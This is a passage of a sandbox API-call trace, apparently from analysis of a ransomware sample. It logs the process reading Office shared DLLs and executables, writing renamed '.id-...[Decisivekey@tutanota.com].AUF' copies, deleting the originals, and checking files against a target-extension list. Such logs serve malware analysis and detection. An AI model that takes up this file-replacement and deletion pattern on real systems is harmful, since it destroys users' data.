Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0221.791] GetLastError () returned 0x0 [0221.791] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x1d950, lpOverlapped=0x0) returned 1 [0222.224] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x1d960, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x1d960, lpOverlapped=0x0) returned 1 [0222.226] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.226] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.226] SetEndOfFile (hFile=0x1e0) returned 1 [0222.226] CloseHandle (hObject=0x1e0) returned 1 [0222.226] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.226] SetEndOfFile (hFile=0x1fc) returned 1 [0222.227] CloseHandle (hObject=0x1fc) returned 1 [0222.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.228] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoxmled.exe")) returned 1 [0222.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0222.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0222.228] lstrlenW (lpString=".doc") returned 4 [0222.228] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0222.228] lstrlenW (lpString=".docx") returned 5 [0222.228] lstrcmpiW (lpString1=".docx", lpString2="D.EXE") returned -1 [0222.228] lstrlenW (lpString=".pdf") returned 4 [0222.228] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0222.228] lstrlenW (lpString=".xls") returned 4 [0222.228] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0222.228] lstrlenW (lpString=".xlsx") returned 5 [0222.228] lstrcmpiW (lpString1=".xlsx", lpString2="D.EXE") returned -1 [0222.228] lstrlenW (lpString=".ppt") returned 4 [0222.228] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0222.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0222.228] lstrlenW (lpString=".zip") returned 4 [0222.228] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0222.228] lstrlenW (lpString=".rar") returned 4 [0222.228] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0222.228] lstrlenW (lpString=".bz2") returned 4 [0222.228] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0222.228] lstrlenW (lpString=".7z") returned 3 [0222.228] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0222.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0222.228] lstrlenW (lpString=".dbf") returned 4 [0222.228] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0222.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0222.228] lstrlenW (lpString=".1cd") returned 4 [0222.228] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0222.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0222.228] lstrlenW (lpString=".jpg") returned 4 [0222.228] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0222.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0222.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0222.228] lstrlenW (lpString=".doc") returned 4 [0222.228] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0222.228] lstrlenW (lpString=".docx") returned 5 [0222.228] lstrcmpiW (lpString1=".docx", lpString2="D.EXE") returned -1 [0222.228] lstrlenW (lpString=".pdf") returned 4 [0222.229] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0222.229] lstrlenW (lpString=".xls") returned 4 [0222.229] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0222.229] lstrlenW (lpString=".xlsx") returned 5 [0222.229] lstrcmpiW (lpString1=".xlsx", lpString2="D.EXE") returned -1 [0222.229] lstrlenW (lpString=".ppt") returned 4 [0222.229] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0222.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0222.229] lstrlenW (lpString=".zip") returned 4 [0222.229] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0222.229] lstrlenW (lpString=".rar") returned 4 [0222.229] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0222.229] lstrlenW (lpString=".bz2") returned 4 [0222.229] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0222.229] lstrlenW (lpString=".7z") returned 3 [0222.229] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0222.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0222.229] lstrlenW (lpString=".dbf") returned 4 [0222.229] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0222.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0222.229] lstrlenW (lpString=".1cd") returned 4 [0222.229] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0222.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned 68 [0222.229] lstrlenW (lpString=".jpg") returned 4 [0222.229] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0222.229] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0222.229] lstrlenW (lpString="MUOPTIN.DLL") returned 11 [0222.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0222.422] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=24976) returned 1 [0222.422] CloseHandle (hObject=0x208) returned 1 [0222.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 0x20 [0222.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0222.422] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.422] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0222.423] GetLastError () returned 0x0 [0222.423] ReadFile (in: hFile=0x208, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x6190, lpOverlapped=0x0) returned 1 [0222.500] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x61a0, lpOverlapped=0x0) returned 1 [0222.521] ReadFile (in: hFile=0x208, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.521] WriteFile (in: hFile=0x1f0, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0222.521] SetEndOfFile (hFile=0x1f0) returned 1 [0222.521] CloseHandle (hObject=0x1f0) returned 1 [0222.521] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.521] SetEndOfFile (hFile=0x208) returned 1 [0222.522] CloseHandle (hObject=0x208) returned 1 [0222.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.522] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll")) returned 1 [0222.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0222.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0222.522] lstrlenW (lpString=".doc") returned 4 [0222.522] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.522] lstrlenW (lpString=".docx") returned 5 [0222.522] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0222.522] lstrlenW (lpString=".pdf") returned 4 [0222.522] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.522] lstrlenW (lpString=".xls") returned 4 [0222.523] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.523] lstrlenW (lpString=".xlsx") returned 5 [0222.523] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0222.523] lstrlenW (lpString=".ppt") returned 4 [0222.523] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0222.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0222.523] lstrlenW (lpString=".zip") returned 4 [0222.523] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0222.523] lstrlenW (lpString=".rar") returned 4 [0222.523] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0222.523] lstrlenW (lpString=".bz2") returned 4 [0222.523] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0222.523] lstrlenW (lpString=".7z") returned 3 [0222.523] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0222.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0222.523] lstrlenW (lpString=".dbf") returned 4 [0222.523] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0222.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0222.523] lstrlenW (lpString=".1cd") returned 4 [0222.523] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0222.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0222.523] lstrlenW (lpString=".jpg") returned 4 [0222.523] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0222.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0222.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0222.523] lstrlenW (lpString=".doc") returned 4 [0222.523] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.523] lstrlenW (lpString=".docx") returned 5 [0222.523] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0222.523] lstrlenW (lpString=".pdf") returned 4 [0222.523] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.523] lstrlenW (lpString=".xls") returned 4 [0222.523] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.523] lstrlenW (lpString=".xlsx") returned 5 [0222.523] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0222.523] lstrlenW (lpString=".ppt") returned 4 [0222.523] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0222.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0222.523] lstrlenW (lpString=".zip") returned 4 [0222.523] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0222.524] lstrlenW (lpString=".rar") returned 4 [0222.524] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0222.524] lstrlenW (lpString=".bz2") returned 4 [0222.524] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0222.524] lstrlenW (lpString=".7z") returned 3 [0222.524] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0222.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0222.524] lstrlenW (lpString=".dbf") returned 4 [0222.524] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0222.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0222.524] lstrlenW (lpString=".1cd") returned 4 [0222.524] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0222.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL") returned 67 [0222.524] lstrlenW (lpString=".jpg") returned 4 [0222.524] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0222.524] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0222.524] lstrlenW (lpString="BRANDING.DLL") returned 12 [0222.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0222.548] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=15224) returned 1 [0222.548] CloseHandle (hObject=0x230) returned 1 [0222.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 0x20 [0222.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0222.548] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.548] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0222.549] GetLastError () returned 0x0 [0222.549] ReadFile (in: hFile=0x230, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x3b78, lpOverlapped=0x0) returned 1 [0222.607] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x3b80, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x3b80, lpOverlapped=0x0) returned 1 [0222.631] ReadFile (in: hFile=0x230, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0222.631] WriteFile (in: hFile=0x1e4, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.631] SetEndOfFile (hFile=0x1e4) returned 1 [0222.631] CloseHandle (hObject=0x1e4) returned 1 [0222.631] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.631] SetEndOfFile (hFile=0x230) returned 1 [0222.632] CloseHandle (hObject=0x230) returned 1 [0222.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.632] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 1 [0222.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0222.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0222.926] lstrlenW (lpString=".doc") returned 4 [0222.926] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0222.926] lstrlenW (lpString=".docx") returned 5 [0222.926] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0222.926] lstrlenW (lpString=".pdf") returned 4 [0222.926] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0222.926] lstrlenW (lpString=".xls") returned 4 [0222.926] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0222.926] lstrlenW (lpString=".xlsx") returned 5 [0222.926] lstrcmpiW (lpString1=".xlsx", lpString2="G.DLL") returned -1 [0223.001] lstrlenW (lpString=".ppt") returned 4 [0223.001] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0223.001] lstrlenW (lpString=".zip") returned 4 [0223.004] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.004] lstrlenW (lpString=".rar") returned 4 [0223.004] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.004] lstrlenW (lpString=".bz2") returned 4 [0223.004] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.004] lstrlenW (lpString=".7z") returned 3 [0223.004] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0223.004] lstrlenW (lpString=".dbf") returned 4 [0223.004] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0223.004] lstrlenW (lpString=".1cd") returned 4 [0223.004] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0223.004] lstrlenW (lpString=".jpg") returned 4 [0223.004] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0223.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0223.004] lstrlenW (lpString=".doc") returned 4 [0223.004] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0223.004] lstrlenW (lpString=".docx") returned 5 [0223.004] lstrcmpiW (lpString1=".docx", lpString2="G.DLL") returned -1 [0223.004] lstrlenW (lpString=".pdf") returned 4 [0223.004] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0223.004] lstrlenW (lpString=".xls") returned 4 [0223.004] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0223.004] lstrlenW (lpString=".xlsx") returned 5 [0223.005] lstrcmpiW (lpString1=".xlsx", lpString2="G.DLL") returned -1 [0223.005] lstrlenW (lpString=".ppt") returned 4 [0223.005] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0223.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0223.005] lstrlenW (lpString=".zip") returned 4 [0223.005] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0223.005] lstrlenW (lpString=".rar") returned 4 [0223.005] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0223.005] lstrlenW (lpString=".bz2") returned 4 [0223.005] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0223.005] lstrlenW (lpString=".7z") returned 3 [0223.005] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0223.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0223.005] lstrlenW (lpString=".dbf") returned 4 [0223.005] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0223.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0223.005] lstrlenW (lpString=".1cd") returned 4 [0223.005] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0223.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL") returned 105 [0223.005] lstrlenW (lpString=".jpg") returned 4 [0223.005] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0223.009] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0223.009] lstrlenW (lpString="OPHPROXY.DLL") returned 12 [0223.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0223.009] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=19848) returned 1 [0223.009] CloseHandle (hObject=0x16c) returned 1 [0223.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll")) returned 0x20 [0223.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0223.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0223.012] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.012] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 